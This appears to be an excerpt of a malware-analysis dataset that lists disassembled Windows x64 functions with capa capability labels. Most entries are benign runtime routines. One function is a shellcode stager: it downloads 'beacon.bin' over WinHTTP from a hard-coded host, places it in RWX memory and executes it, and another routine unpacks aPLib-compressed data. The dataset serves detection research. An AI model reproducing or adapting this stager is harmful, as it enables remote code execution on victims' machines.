joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000c300
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400e8120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400e8100]
test rbx, rbx
je 0x14000c35c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14000c353
test rsi, rsi
je 0x14000c353
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000c338
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x14000c690
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400c2570]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000c6b0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000c6b8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000c6b0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000c70d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x14000c704
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000c6b0
add rax, 0x28
cmp rax, r9
jne 0x14000c6f0
xor eax, eax
ret

Function at 0x14000c710
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c2570]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000c72f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000c738
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000c72f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14000c7d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c2570]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000c7ef
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14000c7f8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x14000d440
Capabilities:
Allocate thread local storage
Create thread
Resume thread

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rax, qword [0x1400c1960]
mov rsi, r8
mov r8d, dword [rax]
mov rdi, rcx
mov rbp, rdx
test r8d, r8d
je 0x14000d470
mov ecx, dword [0x1400b83f0]
test ecx, ecx
je 0x14000d4f0
mov ecx, 0x18
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
lea r8, [0x14000d400]
xor ecx, ecx
xor edx, edx
mov qword [rax], rbp
mov rbx, rax
mov r9, rax
mov qword [rax + 8], rsi
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
mov rcx, rax
mov qword [rbx + 0x10], rax
je 0x14000d4d0
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rax, qword [rbx + 0x10]
mov qword [rdi], rax
xor eax, eax
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, rbx
call fcn.140018440
nop
add rsp, 0x30
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
lock add dword [0x1400b83f4], 1
jne 0x14000d530
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x14000d560
mov rdx, qword [fcn.140018440]
mov ecx, eax
mov dword [0x1400b83f8], eax
call fcn.140018660
test eax, eax
jne 0x14000d568
mov dword [0x1400b83f0], 1
jmp 0x14000d470
mov edx, dword [0x1400b83f0]
lea rbx, [0x1400b83f0]
mov r12, qword [sym.imp.KERNEL32.dll_Sleep]
test edx, edx
jne 0x14000d470
nop dword [rax]
xor ecx, ecx
call r12
mov eax, dword [rbx]
test eax, eax
je 0x14000d550
jmp 0x14000d470
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14000d519
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop
Function at 0x14007b0a0
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.api_ms_win_crt_stdio_l1_1_0.dll__fileno
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.api_ms_win_crt_stdio_l1_1_0.dll__read
cmp eax, 0xffffffff
movsxd rbp, eax
je 0x14007b0e8
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x14007b0ba
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x14009f7f0
Capabilities:
Get system information on windows

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rbx, rcx
movdqu xmm0, xmmword [rdx]
pxor xmm1, xmm1
mov rdi, qword [rdx]
movups xmmword [rdx], xmm1
movq rsi, xmm0
mov rcx, qword [rsi + 0x10]
movups xmmword [rdi + 8], xmm0
test rcx, rcx
je 0x14009f69c
mov rdx, qword [rcx + 8]
lea r8, [rcx + 8]
movabs rax, 0x100000001
cmp rdx, rax
je 0x14009f6c0
mov rax, qword [0x1400c1960]
mov eax, dword [rax]
test eax, eax
jne 0x14009f6f0
mov eax, dword [rcx + 8]
lea edx, [rax - 1]
mov dword [rcx + 8], edx
cmp eax, 1
je 0x14009f700
lea rdx, [0x1400b6ed0]
mov r8, rsi
mov rcx, rbx
call fcn.14000d440
test eax, eax
jne 0x14009f729
add rsp, 0x30
pop rbx
pop rsi
pop rdi
ret
mov rax, qword [rcx]
lea r8, [0x140094400]
mov qword [rcx + 8], 0
mov rdx, qword [rax + 0x10]
cmp rdx, r8
jne 0x14009f718
mov rdx, qword [rax + 0x18]
lea r8, [0x1400969d0]
cmp rdx, r8
jne 0x14009f710
call qword [rax + 8]
jmp 0x14009f69c
mov eax, 0xffffffff
lock xadd dword [r8], eax
jmp 0x14009f697
call fcn.140096aa0
jmp 0x14009f69c
call rdx
jmp 0x14009f69c
mov qword [rsp + 0x28], rcx
call rdx
mov rcx, qword [rsp + 0x28]
mov rax, qword [rcx]
jmp 0x14009f6db
mov rcx, qword [rsi + 0x10]
pxor xmm0, xmm0
movups xmmword [rdi + 8], xmm0
test rcx, rcx
je 0x14009f747
mov dword [rsp + 0x28], eax
call fcn.1400969e0
mov eax, dword [rsp + 0x28]
mov ecx, eax
call fcn.1400b7af0
nop
nop
push rsi
push rbx
sub rsp, 0x38
mov rbx, rdx
mov rax, qword [0x1400c1960]
mov eax, dword [rax]
test eax, eax
je 0x14009f78e
mov r8, qword [rdx]
lea rdx, [0x1400b6e90]
call fcn.14000d440
test eax, eax
jne 0x14009f787
mov qword [rbx], 0
add rsp, 0x38
pop rbx
pop rsi
ret
mov ecx, eax
call fcn.1400b7af0
mov ecx, 0x20
call fcn.1400b6390
mov rbx, rax
call fcn.14009b520
lea rdx, [rsp + 0x20]
mov rcx, rbx
mov qword [rsp + 0x20], 1
lea r8, str.Enable_multithreading_to_use_std::thread
mov qword [rsp + 0x28], rax
call fcn.14007c300
lea r8, [fcn.14007cb80]
mov rcx, rbx
lea rdx, [0x1400c4710]
call fcn.1400b6bf0
mov rsi, rax
mov rcx, rbx
call fcn.1400b6680
mov rcx, rsi
call fcn.14000d170
nop
nop
nop
nop
nop
sub rsp, 0x58
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x40]
xor edx, edx
test eax, eax
cmovs eax, edx
add rsp, 0x58
ret
Function at 0x1400b66e0
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400bb440]
jmp 0x14000d850

Function at 0x140db30b0
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140db3237
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140db30e1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140db30c7
add dl, dl
jne 0x140db30ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140db314e
xor eax, eax
add dl, dl
jne 0x140db30fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140db3205
add dl, dl
jne 0x140db310e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140db311b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140db3128
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140db3135
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140db3142
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140db30d6
mov eax, 1
add dl, dl
jne 0x140db315e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140db316b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140db3153
sub eax, ebx
mov ebx, 1
jne 0x140db31a4
mov ecx, 1
add dl, dl
jne 0x140db3186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140db3193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140db317b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140db30d6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140db31c0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140db31cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140db31b5
cmp eax, 0x7d00
jae 0x140db31f3
cmp eax, 0x500
jb 0x140db31ee
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140db30d6
cmp eax, 0x7f
ja 0x140db31f6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140db30d6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140db322a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140db30d6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001000
Capabilities:
Encode data using xor

Disassembly:
push rdi
sub rsp, 0x20
xor eax, eax
lea rdi, [0x14001bc98]
lea ecx, [rax + 0x28]
rep stosb byte [rdi], al
jmp 0x14000104f
test byte [0x14001bca6], 4
je 0x14000104f
mov edx, dword [0x14001bca0]
xor ecx, ecx
mov rdi, qword [0x14001bc98]
test rdx, rdx
je 0x14000104f
mov rax, rcx
lea r8, [0x140017538]
and eax, 1
mov al, byte [rax + r8]
xor byte [rcx + rdi], al
inc rcx
cmp rcx, rdx
jb 0x140001033
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
lea rdx, [0x14001bc98]
call qword [sym.imp.KERNEL32.dll_HeapWalk]
test eax, eax
jne 0x140001016
add rsp, 0x20
pop rdi
ret
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
mov r11, rsp
push rdi
push r14
push r15
sub rsp, 0x70
mov qword [r11 - 0x48], 0xfffffffffffffffe
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x68], rax
xor eax, eax
mov qword [r11 - 0x28], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
and qword [r11 - 0x28], rax
and dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r14, rax
mov r8d, 0x1f91
xor r9d, r9d
lea rdx, str.192.168.0.60
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r15, rax
and dword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str._beacon.bin
lea rdx, [0x140017528]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rsi, rax
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
and dword [rsp + 0x48], 0
lea rdx, [rsp + 0x48]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov ecx, dword [rsp + 0x48]
inc ecx
call fcn.1400012dc
mov rcx, rax
neg rcx
sbb ecx, ecx
and ecx, dword [rsp + 0x48]
mov dword [rsp + 0x48], ecx
lea r8d, [rcx + 1]
xor edx, edx
mov rcx, rax
call fcn.140003960
cmp dword [rsp + 0x48], 0
ja 0x14000113f
xor ecx, ecx
call fcn.140005744
mov rbp, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
xor edx, edx
xor ecx, ecx
lea r9d, [rdx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x1400011bc
lea ecx, [rax + 1]
call fcn.14000529c
int3
call fcn.140001000
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001000
mov rcx, rbx
call rdi
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rbp
call fcn.1400052a8
nop
xor eax, eax
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400012b0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x14000508c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400050fb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400050fb
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400050fb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400050fb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400050fb
cmp dword [rcx + 0x84], 0xe
jbe 0x1400050fb
cmp dword [rcx + 0xf8], 0
je 0x1400050fb
mov ecx, ebx
call fcn.1400051b8
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140004f88
nop
cmp dword [rbp + 0x20], 0
je 0x140005149
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140005154
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000508c

Function at 0x14000529c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400050fb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400050fb
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400050fb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400050fb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400050fb
cmp dword [rcx + 0x84], 0xe
jbe 0x1400050fb
cmp dword [rcx + 0xf8], 0
je 0x1400050fb
mov ecx, ebx
call fcn.1400051b8
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140004f88
nop
cmp dword [rbp + 0x20], 0
je 0x140005149
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140005154
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000508c
Function at 0x140008e8c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140008ebc
xor eax, eax
jmp 0x140008f7f
mov rbp, rbx
cmp word [rax], si
je 0x140008ee1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140008ec8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140008ec4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140008ddc
movsxd r14, eax
test eax, eax
jne 0x140008f1f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140008eb5
mov rcx, r14
call fcn.1400069e0
mov rdi, rax
test rax, rax
jne 0x140008f38
xor ecx, ecx
call fcn.1400069a4
jmp 0x140008f14
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140008ddc
test eax, eax
jne 0x140008f69
mov rcx, rdi
call fcn.1400069a4
jmp 0x140008f73
xor ecx, ecx
call fcn.1400069a4
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000c29c
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140007ee0
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14000c326
cmp byte [rbp - 0x21], r15b
je 0x14000c321
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14000c35c
call fcn.14000a438
test eax, eax
jne 0x14000c348
cmp byte [rbp - 0x21], r15b
je 0x14000c340
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14000c35c
cmp byte [rbp - 0x21], r15b
je 0x14000c359
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400074bc
test eax, eax
jne 0x14000c3fc
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140007ee0
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14000c39b
cmp byte [rbp - 0x21], r15b
je 0x14000c3d0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14000c3d0
call fcn.14000a438
test eax, eax
jne 0x14000c3bc
cmp byte [rbp - 0x21], r15b
je 0x14000c3b5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14000c3d0
cmp byte [rbp - 0x21], r15b
je 0x14000c3cd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400074bc
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14000c3fc
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14000c3ff
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14000c40d
mov rcx, rdi
call fcn.1400069a4
cmp byte [rbp + 0x3f], r15b
je 0x14000c41c
mov rcx, qword [rbp + 0x27]
call fcn.1400069a4
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140005490]
mov dword [rax], 1
mov rax, qword [0x1400054a0]
mov dword [rax], 1
mov rax, qword [0x1400054b0]
mov dword [rax], 1
mov rax, qword [0x140005450]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001ab0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x140002782
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140009168]
test eax, eax
je 0x14000281a
lea rax, [0x140009140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140009170]
mov qword [rbp - 8], rax
jmp 0x1400027fe
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x1400027f2
cmp qword [rbp - 0x10], 0
je 0x1400027f2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400027b8
lea rax, [0x140009140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000281b
nop
add rsp, 0x30
pop rbp
ret